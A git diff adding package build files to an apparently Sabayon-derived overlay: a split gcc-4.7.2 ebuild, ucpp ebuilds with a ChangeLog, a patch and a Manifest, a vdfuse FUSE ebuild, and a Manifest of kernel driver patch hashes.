diff --git a/sys-devel/gcc/gcc-4.7.2.ebuild b/sys-devel/gcc/gcc-4.7.2.ebuild
new file mode 100644
index 00000000..79d59c40
--- /dev/null
+++ b/sys-devel/gcc/gcc-4.7.2.ebuild
@@ -0,0 +1,159 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+PATCH_VER="1.3"
+UCLIBC_VER="1.0"
+
+# Hardened gcc 4 stuff
+PIE_VER="0.5.2"
+SPECS_VER="0.2.0"
+SPECS_GCC_VER="4.4.3"
+# arch/libc configurations known to be stable with {PIE,SSP}-by-default
+PIE_GLIBC_STABLE="x86 amd64 mips ppc ppc64 arm ia64"
+PIE_UCLIBC_STABLE="x86 arm amd64 ppc ppc64"
+SSP_STABLE="amd64 x86 mips ppc ppc64 arm"
+# uclibc need tls and nptl support for SSP support
+# uclibc need to be >= 0.9.32
+SSP_UCLIBC_STABLE="x86 amd64 ppc ppc64 arm"
+#end Hardened stuff
+
+inherit toolchain
+
+DESCRIPTION="The GNU Compiler Collection"
+
+LICENSE="GPL-3 LGPL-3 || ( GPL-3 libgcc libstdc++ gcc-runtime-library-exception-3.1 ) FDL-1.2"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~x86-fbsd"
+
+RDEPEND="~sys-devel/base-gcc-${PV}
+	!build? (
+		gcj? (
+			gtk? (
+				x11-libs/libXt
+				x11-libs/libX11
+				x11-libs/libXtst
+				x11-proto/xproto
+				x11-proto/xextproto
+				=x11-libs/gtk+-2*
+				x11-libs/pango
+			)
+			>=media-libs/libart_lgpl-2.1
+			app-arch/zip
+			app-arch/unzip
+		)
+	)"
+
+## Make sure we share all the USE flags in sys-devel/base-gcc
+BASE_GCC_USE="fortran gcj gtk mudflap multilib nls nptl openmp altivec
+	bootstrap build doc fixed-point go graphite hardened
+	multislot cxx nopie nossp objc objc++ objc-gc test vanilla"
+for base_use in ${BASE_GCC_USE}; do
+	RDEPEND+=" ~sys-devel/base-gcc-${PV}[${base_use}?]"
+done
+IUSE="${BASE_GCC_USE}"
+
+DEPEND="${RDEPEND}
+	amd64? ( multilib? ( gcj? ( app-emulation/emul-linux-x86-xlibs ) ) )"
+## Should this be moved to base-gcc?
+## I guess the cross-* thing is now utterly broken
+if [[ ${CATEGORY} != cross-* ]] ; then
+	PDEPEND="${PDEPEND} elibc_glibc? ( >=sys-libs/glibc-2.8 )"
+fi
+
+## Check for valid gcc profile.
+src_unpack() {
+	# Since Sabayon's gcc ebuild are split into two parts, we have to
+	# build gcc with a different version of gcc, or terrible breakage
+	# will occur after sys-devel/base-gcc is installed, but the
+	# partner sys-devel/gcc still needs to be built.
+
+	# While it is possible to rebuild Sabayon's split gcc from
+	# the same version, we have to disallow this also since
+	# we have no way of discerning if a configuration change
+	# is significant enough to cause breakage.
+
+	GCC_PROFILE_VER=$(cat ${ROOT}/etc/env.d/gcc/config-$CHOST | awk -F- '{ print $NF }')
+	einfo "Checking for valid gcc profile to build ${P}"
+
+	# Construct the Slot of the gcc version in the active profile.
+	GCC_PROFILE_SLOT_MAJOR=$(echo ${GCC_PROFILE_VER} | awk -F. '{ print $1 }')
+	GCC_PROFILE_SLOT_MINOR=$(echo ${GCC_PROFILE_VER} | awk -F. '{ print $2 }')
+	GCC_PROFILE_SLOT="${GCC_PROFILE_SLOT_MAJOR}.${GCC_PROFILE_SLOT_MINOR}"
+	einfo "Current gcc profile version Slot is: ${GCC_PROFILE_SLOT}"
+	if [[ "${GCC_PROFILE_SLOT}" = "${SLOT}" ]] ; then
+		eerror "Error!"
+		eerror "The active gcc-profile is for sys-devel/gcc slot ${SLOT}."
+		eerror "Sabayon's split sys-devel/gcc package MUST be built"
+		eerror "with another slotted version of sys-devel/gcc active."
+		die "Invalid gcc profile selected!"
+	fi
+
+	if has_version '<sys-libs/glibc-2.12' ; then
+		ewarn "Your host glibc is too old; disabling automatic fortify."
+		ewarn "Please rebuild gcc after upgrading to >=glibc-2.12 #362315"
+		EPATCH_EXCLUDE+=" 10_all_default-fortify-source.patch"
+	fi
+
+	# drop the x32 stuff once 4.7 goes stable
+	case ${CHOST} in
+	x86_64*) has x32 $(get_all_abis) || EPATCH_EXCLUDE+=" 80_all_gcc-4.6-x32.patch" ;;
+	esac
+
+	toolchain_src_unpack
+
+	use vanilla && return 0
+
+	[[ ${CHOST} == ${CTARGET} ]] && epatch "${FILESDIR}"/gcc-spec-env.patch
+
+	# Fix http://gcc.gnu.org/bugzilla/show_bug.cgi?id=47719
+	epatch "${FILESDIR}/${PN}-4.6.2-fix-ICE-on-arm.patch"
+}
+
+## Remove lto conditional
+pkg_setup() {
+	toolchain_pkg_setup
+
+	ewarn
+	ewarn "LTO support is still experimental and unstable."
+	ewarn "Any bugs resulting from the use of LTO will not be fixed."
+	ewarn
+}
+
+## Just install libgcc stuff
+src_install() {
+	toolchain_src_install
+
+	# now drop what's provided by sys-devel/base-gcc-${PV}:${SLOT}
+	base_gcc_libs="libgfortran.so* libgcc_s.so* libobjc.so*
+		libobjc_gc.so* libmudflap.so* libmudflapth.so* libgomp.so* libstdc++.so*
+		libquadmath.so*"
+	base_multilib_gcc_libs="32/libgfortran.so* 32/libobjc.so* 32/libobjc_gc.so*
+		32/libgcc_s.so* 32/libgomp.so* 32/libmudflap.so*
+		32/libmudflapth.so* 32/libstdc++.so* 32/libquadmath.so*"
+	for gcc_lib in ${base_gcc_libs}; do
+		# -f is used because the file might not be there
+		rm "${D}"${LIBPATH}/${gcc_lib} -rf || die "cannot execute rm on ${gcc_lib}"
+		debug_dir="${D}"/usr/lib/debug
+		if [ -d "${debug_dir}" ]; then
+			rm "${debug_dir}"${LIBPATH}/${gcc_lib}.debug -rf || die "cannot execute rm on ${gcc_lib}.debug"
+		fi
+	done
+	if use multilib; then
+		for gcc_lib in ${base_multilib_gcc_libs}; do
+			# -f is used because the file might not be there
+			rm "${D}"${LIBPATH}/${gcc_lib} -rf || die "cannot execute rm on ${gcc_lib}"
+			debug_dir="${D}"/usr/lib/debug
+			if [ -d "${debug_dir}" ]; then
+				rm "${debug_dir}"${LIBPATH}/${gcc_lib}.debug -rf || die "cannot execute rm on ${gcc_lib}.debug"
+			fi
+		done
+	fi
+	# then .mo files provided by sys-devel/base-gcc-${PV}:${SLOT}
+	find "${D}"${DATAPATH}/locale -name libstdc++.mo -delete
+	find "${D}"${DATAPATH}/info -name libgomp.info* -delete
+	find "${D}"${DATAPATH}/info -name libquadmath.info* -delete
+
+	# drop stuff from env.d, provided by sys-devel/base-gcc-${PV}:${SLOT}
+	rm "${D}"/etc/env.d -rf
+}
diff --git a/sys-devel/gcc/metadata.xml b/sys-devel/gcc/metadata.xml
new file mode 100644
index 00000000..8bf5cdbc
--- /dev/null
+++ b/sys-devel/gcc/metadata.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+  <herd>no-herd</herd>
+  <use>
+    <flag name="d">Enable support for the D programming language</flag>
+    <flag name="fixed-point">Enable fixed-point arithmetic support for MIPS targets 
+    in gcc (Warning: significantly increases compile time!)</flag>
+    <flag name="go">Build the GCC Go language frontend.</flag>
+    <flag name="graphite">Add support for the framework for loop
+      optimizations based on a polyhedral intermediate representation</flag>
+    <flag name="ip28">Enable building a compiler capable of building a kernel
+    for SGI Indigo2 Impact R10000 (IP28)</flag>
+    <flag name="ip32r10k">Enable building a compiler capable of building an
+    experimental kernel for SGI O2 w/ R1x000 CPUs (IP32)</flag>
+    <flag name="libffi">Build the portable foreign function interface library</flag>
+    <flag name="lto">Add support for link-time optimizations (unsupported, use
+    at your own risk).</flag>
+    <flag name="mudflap">Add support for mudflap, a pointer use checking library</flag>
+    <flag name="multislot">Allow for SLOTs to include minor version (3.3.4
+    instead of just 3.3)</flag>
+    <flag name="n32">Enable n32 ABI support on mips</flag>
+    <flag name="n64">Enable n64 ABI support on mips</flag>
+    <flag name="nopie">Disable PIE support (NOT FOR GENERAL USE)</flag>
+    <flag name="nossp">Disable SSP support (NOT FOR GENERAL USE)</flag>
+    <flag name="objc">Build support for the Objective C code language</flag>
+    <flag name="objc++">Build support for the Objective C++ language</flag>
+    <flag name="objc-gc">Build support for the Objective C code language Garbage
+    Collector</flag>
+  </use>
+</pkgmetadata>
diff --git a/sys-devel/ucpp/ChangeLog b/sys-devel/ucpp/ChangeLog
new file mode 100644
index 00000000..f3ea73b2
--- /dev/null
+++ b/sys-devel/ucpp/ChangeLog
@@ -0,0 +1,24 @@
+# ChangeLog for sys-devel/ucpp
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/ucpp/ChangeLog,v 1.4 2012/11/21 16:37:13 scarabeus Exp $
+
+*ucpp-1.3.3 (21 Nov 2012)
+
+  21 Nov 2012; Tomáš Chvátal <scarabeus@gentoo.org> +ucpp-1.3.3.ebuild,
+  ucpp-1.3.ebuild, ucpp-9999.ebuild:
+  Version bump to release version i tagged.
+
+*ucpp-9999 (24 Sep 2012)
+
+  24 Sep 2012; Tomáš Chvátal <scarabeus@gentoo.org> +ucpp-9999.ebuild,
+  metadata.xml:
+  Add ucpp live ebuild as this will be required by lo 3.7.
+
+  02 Aug 2011; Alexey Shvetsov <alexxy@gentoo.org> ucpp-1.3.ebuild:
+  Add ~amd64-linux keyword
+
+*ucpp-1.3 (28 Jul 2011)
+
+  28 Jul 2011; Alexey Shvetsov <alexxy@gentoo.org> +ucpp-1.3.ebuild,
+  +files/tune.h.patch, +metadata.xml:
+  Initial import to tree
diff --git a/sys-devel/ucpp/Manifest b/sys-devel/ucpp/Manifest
new file mode 100644
index 00000000..f035f513
--- /dev/null
+++ b/sys-devel/ucpp/Manifest
@@ -0,0 +1,8 @@
+AUX tune.h.patch 723 SHA256 27bdbc0e81ba1c60b4f069b6a05eedb44445d4768b2a5808e53117a7ed7e7871 SHA512 04fe5d91c22774df447a8c46955c864756d5e9538e94595943647d88b0044f4211be389f97472fad90a10f6c10e673c826dc585e480b33f7bce443defc186119 WHIRLPOOL 4ef22d4111a28cbd87a0c2ff895096a8bd27a2d6fff56c063642524825f114e4156a1ea7f5e527b4100bdf02b7a403d573fb5b6d1edb82b545a2f7e6d9faa1ac
+DIST ucpp-1.3.3.tar.xz 274608 SHA256 4e9525477ca90f8ad6bf1ba3a0c08858a99d5e4d206cd72e3242f6918ddee754 SHA512 4ebef29a82a015a7f1a86fc213197f5c17ffcd378da48374e3066755a155848f0af738827c026aa820b2c1a5a5f086a984450429630c0e883ce70cd0c31d406e WHIRLPOOL a9e826c065d1c5760be9d8fe863b0371624c885c1b6e0d78960c488a90a4da75194e377f13935fc12f7cfb4f4d5c8c9ea2996bf393d8f62c53d0340899a8d5ec
+DIST ucpp-1.3.tar.bz2 73958 SHA256 d0a51c20040385b143f15fc08eefec6119773fb07232a14c08bbb49cb1c5f1fa
+EBUILD ucpp-1.3.3.ebuild 657 SHA256 e7b14742dcff6bc462257d6cadb216344b28d9759b2c9b57986a5e0353eacfc1 SHA512 d0232b1cb9b6d7c5deac3d95c43642074d275f57263149424274a925e1d37c57d26c925a253a3287a3dc27183499afd1c4e08de6bd92b85966a58300891aabba WHIRLPOOL a29eb4e64885d79631ae13f053ed9e34c9addcde9c24ed98a06d155227e04b303597a96a8b75affae8532f6a32f0ce5984281c1cbaa20e586483eaa51d372a69
+EBUILD ucpp-1.3.ebuild 770 SHA256 2bc5cb06972775cfaa593bdc6fd14d83f0bc0dba93533014f7a85b1e267cbef7 SHA512 4c45a709e67a8b33fcb8314e3d8d39b38bc3623b1e45958ca36b840cbb1e7069fce54cb5f07a73dfb6e27a111b63ed5a40c1352b270cb80646273e7d3d6e3488 WHIRLPOOL 4f1d062dc7fad3df494704fcd750c04a85f212506293be374ed14affdee82d8f693473d5241fe5457e7d14e30ddd47e486655f23592cb70069516029440a6d5b
+EBUILD ucpp-9999.ebuild 690 SHA256 f3f1f30d38433b34adf7cf6235819f348511833c1c8d1d5326e3c67dbda737a7 SHA512 22eb4a4a74f13797166209819ba0434bf21e8b759f014ec51ddf3d07c400a567828169edb8d725293946fbed0a6288c9f744058d0368a8272a8fdeecec2a9019 WHIRLPOOL e2261fd54ed193873a0988fe2c63fba86d02c11560151a354d06ac77650357388a560e27e38da5210fb8d0732eb6514443aeed0d59287c1ba848ea4fb3ee7a95
+MISC ChangeLog 817 SHA256 4e84c696c63d61e65e3f0ca545343c4cc1a80fdbcd1d06207cb7e6c10069b7f8 SHA512 8f44194bc4be723b5f76d2c3694d4ad8ad6cbcde2f99d271642085c83bbefbdc4ddab27bb2af1c24dca98d47c4b8a11ae32bc65d091dd414531ec5573f54a044 WHIRLPOOL 9a56dce9229307db900b371c3025e0037f885b8a332e75566a222f79493a4171863b3cc1432a215e8b80bfc28cf5f40623f95d07642262869c48582782a9150a
+MISC metadata.xml 182 SHA256 b9c161e3f05dbaa2157c1aaece681f28c1d81b251e79923f9f9326d1523c0509 SHA512 82aa50dbb9bce1055ffcbc266becd01f97441ec698dea4f713e82664dadc30ed735d7bf47cb1e4ee9d97d4ab0f37cf559d027a1c86bf2e1d9249b538048c7942 WHIRLPOOL 33747b74de9fa24c064a98d4165f62ee8ec35576da63977e1f78fb9d3dac559350cc0044dfc01b73bca926e20e731662e571a5cc481caf37df58c4462b1c31b2
diff --git a/sys-devel/ucpp/files/tune.h.patch b/sys-devel/ucpp/files/tune.h.patch
new file mode 100644
index 00000000..7455dd24
--- /dev/null
+++ b/sys-devel/ucpp/files/tune.h.patch
@@ -0,0 +1,28 @@
+--- tune.h	2008-10-01 19:15:41.000000000 +0200
++++ tune.h.new	2009-03-22 11:59:42.000000000 +0100
+@@ -281,10 +281,10 @@
+  *
+  * If you want no standard assertion, define STD_ASSERT to 0.
+  */
+-/*
++
+ #define STD_ASSERT	"cpu(i386)", "machine(i386)", "system(unix)", \
+ 			"system(freebsd)"
+-*/
++
+ 
+ /* ====================================================================== */
+ /*
+@@ -293,10 +293,10 @@
+  * Each string must be either "name" or "name=token-list". If you want
+  * no predefined macro, define STD_MACROS to 0.
+  */
+-/*
++
+ #define STD_MACROS	"__FreeBSD=4", "__unix", "__i386", \
+ 			"__FreeBSD__=4", "__unix__", "__i386__"
+-*/
++
+ 
+ /* ====================================================================== */
+ /*
diff --git a/sys-devel/ucpp/metadata.xml b/sys-devel/ucpp/metadata.xml
new file mode 100644
index 00000000..94f0af23
--- /dev/null
+++ b/sys-devel/ucpp/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>openoffice</herd>
+	<herd>sci</herd>
+</pkgmetadata>
diff --git a/sys-devel/ucpp/ucpp-1.3.3.ebuild b/sys-devel/ucpp/ucpp-1.3.3.ebuild
new file mode 100644
index 00000000..df585406
--- /dev/null
+++ b/sys-devel/ucpp/ucpp-1.3.3.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/ucpp/ucpp-1.3.3.ebuild,v 1.1 2012/11/21 16:37:12 scarabeus Exp $
+
+EAPI=5
+
+inherit eutils
+
+DESCRIPTION="A quick and light preprocessor, but anyway fully compliant to C99"
+HOMEPAGE="http://code.google.com/p/ucpp/"
+SRC_URI="http://dev.gentooexperimental.org/~scarabeus/${P}.tar.xz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86 ~amd64-linux"
+IUSE="static-libs"
+
+src_configure() {
+	econf \
+		--disable-werror \
+		$(use_enable static-libs static)
+}
+
+src_install() {
+	default
+
+	prune_libtool_files --all
+}
diff --git a/sys-devel/ucpp/ucpp-1.3.ebuild b/sys-devel/ucpp/ucpp-1.3.ebuild
new file mode 100644
index 00000000..5cdb83e0
--- /dev/null
+++ b/sys-devel/ucpp/ucpp-1.3.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/ucpp/ucpp-1.3.ebuild,v 1.3 2012/11/21 16:37:12 scarabeus Exp $
+
+EAPI="2"
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="A quick and light preprocessor, but anyway fully compliant to C99"
+HOMEPAGE="http://code.google.com/p/ucpp/"
+SRC_URI="mirror://gentoo/${P}.tar.bz2"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86 ~amd64-linux"
+IUSE=""
+
+src_prepare() {
+	epatch "${FILESDIR}"/tune.h.patch
+}
+
+src_compile() {
+	emake \
+		FLAGS="${CFLAGS} -DSTAND_ALONE" \
+		CC=$(tc-getCC) \
+		STAND_ALONE="-DSTAND_ALONE" || die
+}
+
+src_install() {
+	dolib.a lib${PN}.a || die
+	doman ${PN}.1 || die
+	dobin ${PN} || die
+	dodoc README || die
+}
diff --git a/sys-devel/ucpp/ucpp-9999.ebuild b/sys-devel/ucpp/ucpp-9999.ebuild
new file mode 100644
index 00000000..1743b604
--- /dev/null
+++ b/sys-devel/ucpp/ucpp-9999.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/ucpp/ucpp-9999.ebuild,v 1.2 2012/11/21 16:37:12 scarabeus Exp $
+
+EAPI=5
+
+EGIT_REPO_URI="git://github.com/scarabeusiv/ucpp.git"
+inherit eutils git-2 autotools
+
+DESCRIPTION="A quick and light preprocessor, but anyway fully compliant to C99"
+HOMEPAGE="http://code.google.com/p/ucpp/"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS=""
+IUSE="static-libs"
+
+src_prepare() {
+	eautoreconf
+}
+
+src_configure() {
+	econf \
+		--prefix=/opt/ucpp \
+		--disable-werror \
+		$(use_enable static-libs static)
+}
+
+src_install() {
+	default
+
+	prune_libtool_files --all
+	die
+}
diff --git a/sys-devel/ucpp/ucpp/ChangeLog b/sys-devel/ucpp/ucpp/ChangeLog
new file mode 100644
index 00000000..f3ea73b2
--- /dev/null
+++ b/sys-devel/ucpp/ucpp/ChangeLog
@@ -0,0 +1,24 @@
+# ChangeLog for sys-devel/ucpp
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/sys-devel/ucpp/ChangeLog,v 1.4 2012/11/21 16:37:13 scarabeus Exp $
+
+*ucpp-1.3.3 (21 Nov 2012)
+
+  21 Nov 2012; Tomáš Chvátal <scarabeus@gentoo.org> +ucpp-1.3.3.ebuild,
+  ucpp-1.3.ebuild, ucpp-9999.ebuild:
+  Version bump to release version i tagged.
+
+*ucpp-9999 (24 Sep 2012)
+
+  24 Sep 2012; Tomáš Chvátal <scarabeus@gentoo.org> +ucpp-9999.ebuild,
+  metadata.xml:
+  Add ucpp live ebuild as this will be required by lo 3.7.
+
+  02 Aug 2011; Alexey Shvetsov <alexxy@gentoo.org> ucpp-1.3.ebuild:
+  Add ~amd64-linux keyword
+
+*ucpp-1.3 (28 Jul 2011)
+
+  28 Jul 2011; Alexey Shvetsov <alexxy@gentoo.org> +ucpp-1.3.ebuild,
+  +files/tune.h.patch, +metadata.xml:
+  Initial import to tree
diff --git a/sys-fs/vdfuse/ChangeLog b/sys-fs/vdfuse/ChangeLog
new file mode 100644
index 00000000..0d1fc0e5
--- /dev/null
+++ b/sys-fs/vdfuse/ChangeLog
@@ -0,0 +1,5 @@
+vdfuse-v82a	2013-04-09
+
+	Fixed source file vdfuse-v82a.c
+	Download: http://sourceforge.net/projects/xspect3d/files/gordstuff/
+	VirtualBox sources ('include' directory) replaced: updated to ver. 4.1.18
diff --git a/sys-fs/vdfuse/Manifest b/sys-fs/vdfuse/Manifest
new file mode 100644
index 00000000..45230bf7
--- /dev/null
+++ b/sys-fs/vdfuse/Manifest
@@ -0,0 +1,3 @@
+DIST vdfuse-v82a.tar.bz2 849920 SHA256 e0bf409b8b78dff425c1e82afc796a44a7aa50ab0aa0a8b6236ba463947b1e8d SHA512 4f80c5e22efc46b37303298809689e96cce27aab644e949904708238a4c6e0b81973ab622f19e5ad50eec494c07c082192dde46a9265c9c787d6f641ff2066f9 WHIRLPOOL 6e95cc427e8653519626b7d156dd4b873112bf3944b17ee2b90840b27b972d083dec2eb4af2977f7cd2a3d48b1ea4f2e13fc4d1df3a12e14e91d727d58b889fc
+EBUILD vdfuse-82a.ebuild 1496 SHA256 1db72e8094331ce99d103a6e7450f11a92cb6f58f75d314738d293c56df70358 SHA512 b7330fa3b6def3aee56efb7be5b09709579ee29320d38c1d1a36ac3877950cf6c30563f83604ad476452931247db3e8e05efd160e9e76d98f013dcf2105d36ce WHIRLPOOL 09a42418ce71232894be3e3008930641a55ca80f0501364fe78c0cb5f976755aa87fa540631c445ae144f07eaa752a0cc11b764f6a0984534c5a745fa979a105
+MISC ChangeLog 201 SHA256 7b8c445c8a6dff1e3dd95d721af9ba1cc6d7ac79e742d1cec4cbaec004bd92ff SHA512 3e1df37b015be642fc26871c9150f61ae654a29d61b7f6cca3a4ad575aaa7269f012b39d16f5a66afdce985d026094a8c985edd1b7b67881bec956f161fdf143 WHIRLPOOL 2498a29251cf5cc9e97d8ad9f819f20a0f23e408a5746a6cac15b9baf7a5437d396fa24ad354767aefd8b93523634a23b14a55a77dc1f6511e4e2293fe57a803
diff --git a/sys-fs/vdfuse/vdfuse-82a.ebuild b/sys-fs/vdfuse/vdfuse-82a.ebuild
new file mode 100644
index 00000000..0d71cccb
--- /dev/null
+++ b/sys-fs/vdfuse/vdfuse-82a.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2010 Tiziano Müller
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit multilib toolchain-funcs
+
+VB_V="4.1.18"
+VB_P="VirtualBox-${VB_V}"
+
+DESCRIPTION="Fuse module to open a VBox supported VD image file and mount it."
+HOMEPAGE="https://forums.virtualbox.org/viewtopic.php?f=26&t=33355"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-v${PV}.tar.bz2
+	http://pkg3.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-v${PV}.tar.bz2"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+
+RDEPEND=">=app-emulation/virtualbox-bin-${VB_V}
+	sys-fs/fuse"
+DEPEND="${RDEPEND}
+	dev-util/pkgconfig"
+
+S="${WORKDIR}"
+incdir="${S}/include"
+infile="${PN}-v${PV}.c"
+outfile="${PN}"
+
+pkg_setup() {
+	ewarn "You may have to make /opt/VirtualBox/VBox{DDU,RT}.so"
+	ewarn "readable for everyone first."
+
+	if [ -z "${INSTALL_DIR}" ]; then
+		if [ -e "/etc/vbox/vbox.cfg" ]; then
+			. /etc/vbox/vbox.cfg
+		elif [ -d "/usr/lib/virtualbox" ]; then
+			INSTALL_DIR="/usr/lib/virtualbox"
+		elif [ -z "${INSTALL_DIR}" ]; then
+			echo "INSTALL_DIR not defined"
+			exit 1
+		fi
+	fi
+
+}
+
+src_unpack() {
+	unpack "${A}" || die "unpacking sources failed"
+}
+
+src_compile() {
+	$(tc-getCC) \
+		${CFLAGS} \
+		$(pkg-config --cflags --libs fuse) \
+		${LDFLAGS} \
+		${infile} -o ${outfile} \
+		-I${incdir} \
+		-Wl,-rpath,${INSTALL_DIR} \
+		-l:${INSTALL_DIR}/VBoxDDU.so \
+		-Wall \
+		|| die "building vdfuse failed"
+}
+
+src_install() {
+	dobin vdfuse
+}
+
+
diff --git a/sys-kernel/compat-drivers-alx/Manifest b/sys-kernel/compat-drivers-alx/Manifest
new file mode 100644
index 00000000..1b4c3379
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/Manifest
@@ -0,0 +1,27 @@
+AUX 3.8-grsec/00-read-only.patch 604 SHA256 1b4109d2cb389e622252738390bd56a665f968c428accd905e6debcdf9c4e679 SHA512 34bd0312909701251317dfbc2b2ebd080f8d5e3dff18e3e0c80a48dbd6697d2877fe7e8a0fa52151f76a97a05368ebb4091166e4432dcaa3ce63469c2b830441 WHIRLPOOL 590b93713ffc2e59ce04b1c7b3a34f502eec32b25f01c45f8adab91cc1621c701a38ed0136ac5d052fe93d9d5738c0facf969189721b332a058db118835908bf
+AUX 3.8-grsec/01-read-only.patch 271 SHA256 f389b6d40b0c5512af8b3c024c69aed69830ca22d53403f19be0a8834ee4573c SHA512 9d2f878aeb6ebe8c3d74aa038e3fec14829ac709c2f65b9c7fe6482dd1c15432cf73a40638059ccee9350d6305989b60883903fcd0c7545ec38c1d22e006c9c2 WHIRLPOOL 111a64490618524af32c56c9631d0ff7f29ae4ebc692422df63cf6eaae0a42c06d4be7186c3049b3f3827de9535e8c0b14f6c5fecf9d956dc1e92236a053e545
+AUX 3.8-grsec/02-read-only-ath.patch 8178 SHA256 2a779d9a72fdf6c26620733f2b7fd12e65cd50969e9689cf1cf48a26f6bbfad9 SHA512 288d359778430d9b84fb9c66afce8473142270646fea3dd53471b16b8b7a2ecf78c28d4dfdc27a914b2c7d2561cb5d2ac267e71f50ec315b2b984ad3b59dfec7 WHIRLPOOL 8e50052ad0dd875e086795fd787c1ab83c434ccb1c6bd2b0ff8eaef4392b9a26681a02a52c343a05fa655198d51d643ed4dd9cdd0f4f1415504219598d0fa95d
+AUX 3.8-grsec/03-read-only-memory.patch 251 SHA256 927886f135b9e122a51d607d99837eef047b9fa50a4f2dfea9ee4ce6076192b1 SHA512 9f1efc869370655ffba01463d71c72f7a7e3b677f455fb4893f1e9898dd2896008da1f87b66d2803542a80fc073fcb3d94abcbf626bf7240d3235293b13e1c35 WHIRLPOOL e5dbf45e9552824a3ebb3bd96e55ec77d559b5eed8aba383b907902b7115031c7fcbdf57b94d920cb66230eb492d151f957c09a883c255c83139ca63438b2848
+AUX 3.8-grsec/04-read-only-brcm80211.patch 337 SHA256 752991b5f486c0dea194be247e473e9d9d2626f3e392246d3d1da44d4864478f SHA512 494f37fc79dd1c11ab6c51d95a7521d8276f2c4d41dfcabb491c3a7d0b79ff9b2512feeef9d166da9e6297ebf2778a3f773cb52d72a325cf151f78b2e28cfb97 WHIRLPOOL 4f96dced0f32328769ddb74e74ffb6e003c68d8054331c635971658909009079ebb810839a857474dae3b5ce12e2c6d5641646462027dafad974791e0b9e5944
+AUX 3.8-grsec/05-read-only-i915.patch 473 SHA256 bfb3cdf6d8793ce328b16f6808c062d72863ea40be9f3cd942a831548e3bdb22 SHA512 2ef16324332c257e326d48fce34a65f095236f518990b6fff0aa3022893d40668acce156085bf77b669629a40696db9098bb8504614bf60d2720bf78364f9a33 WHIRLPOOL 23d44a4f3b2b0937e5b0769354a8a01ab7f4c19b0c38f85bcd2715a9fdf10b5755a1a54dfcb048dcd0badca7c99321ce91bf9c7cf23a7e3bcba54b28ac472612
+AUX 3.8-grsec/06-read-only-radeon.patch 1974 SHA256 7227c0ed3bdc8ce4c130b263a4ef3ed8b44db33a3961bb9ef9110a94dc8cf549 SHA512 c58cce6f8996ef3ac25d93c680db0f0ef3a555b9e9ad97a39d1e339135a7f449c039582d21d50fbe13cb0b9cd23c2a9fc1ff80143e4f681ebf3161377383f5dc WHIRLPOOL 9a6ab2740ca49b814c06dcd0a4533c1f33d4913470df7ac2884ed6f1a747b2c29b3899ad0b53190c832a307fea0cfb990e2068685b9205fd37a9d6ca3e4ae5a8
+AUX 3.8-grsec/07-read-only-wl1251.patch 296 SHA256 7d89a83529b7ae522a06c0a38959515b6de72fcc9412d9fa83ce744d803c438b SHA512 54fe4cc8b8f5088aa0b27fd0cf38d8795507ead26e7c8ad96b54e2d2b9d65ed6c76f29ee3359f7dee50883138511c34a4c2e2f22384aadc034f7dd46061b3307 WHIRLPOOL 4d4b53e6520c34284f6794b7afecdab36b2e5d97e12a9237e83c52fb23eee1facee829ed140e8d9b13e98e201e9e8a2cf2aa32853e9728504bd16cd3a01927e7
+AUX 3.8-grsec/08-read-only-ti.patch 327 SHA256 804cfe5f58fe4927933e64a45aa2c0b407675c22d8d80f75fe89904f7fa9a595 SHA512 387ffd8a7636d7055b65a3e2c2cb799bc514e270d24a44982da5c1bdae7160e96e7f829fc2de7323e2228f1cfd6e4517327d2c18b6df42f062a570aa5b5fcb21 WHIRLPOOL 546e75ed0970d82a6b343a82421c9368b1dc5410c4795f82cf3812845bd8d7c9f909b7955213144cd0727d62ea606af216c8dc552739bba818513ceded0ae339
+AUX 3.8-grsec/09-read-only-nouveau.patch 1039 SHA256 f797b74b8bdf86e5cd6f0c87ce1955c706f9ba82a8ee2e54f098bfc1d6952aac SHA512 27065f1c9e3fc427253ddd58fb6c11027f5cec9f356204cfa5635ae6d81d8e40b571c83ebc457600f4ce0c8d9e7401f1118523bdac6ca4e2c661dd843bb1e411 WHIRLPOOL 315756a38d0d99e696818b80adbf78ced2ca70c25a75fff3598de1f7716c036292b6cc0df9650b20d3f9981dda9d3f02ddb873033262f592869d817b665e8ba8
